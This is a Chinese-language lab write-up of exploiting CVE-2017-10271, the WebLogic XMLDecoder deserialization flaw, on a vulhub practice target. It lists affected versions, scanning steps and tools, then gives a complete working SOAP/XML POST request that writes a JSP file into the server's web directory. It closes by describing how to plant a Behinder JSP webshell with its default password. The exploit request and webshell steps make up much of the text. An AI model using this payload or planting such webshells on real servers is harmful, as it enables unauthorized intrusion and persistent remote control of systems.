CVE-2017-10271(WebLogic XMLDecoder反序列化漏洞)

最近在打vulhub的靶场记录一下，我是小菜鸡一个，不对的地方还请指教。废话不多说开始。

原因：

        CVE-2017-10271漏洞产生的原因大致是Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。

影响版本：

    10.3.6.0.0

    12.1.3.0.0

    12.2.1.1.0

    12.2.1.2.0

复现过程：

一、使用sudo nmap -Pn -v -sV 192.168.88.132，扫描目标的服务及版本：

二、使用工具进行扫描：

https://github.com/rabbitmask/WeblogicScan

https://gitee.com/omg2019/WeblogicScan-1  —>推荐

存在cve-2017-10271漏洞

三、访问Ip:7001/wls-wsat/CoordinatorPortType11出现以下内容可能存在漏洞。

四、访问页面使用burp进行抓包，将数据包修改，点击上传显示500说明写入成功， 访问http://ip:7001/bea_wls_internal/c.jsp，正常显示写入的文本。

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638


<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/c.jsp</string>
    <void method="println"><string>
    <![CDATA[
<% out.print("test"); %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

访问存在

五、接下来就可以写入webshell了，这里使用冰蝎自带的jsp webshell。默认密码为： rebeyond如果想改的话密码为32位md5值的前16位。写入成功后访问http://ip:7001/bea_wls_internal/3.jsp

 关注公众号Sanx白帽子 发送 ssrf 获取对应的利用工具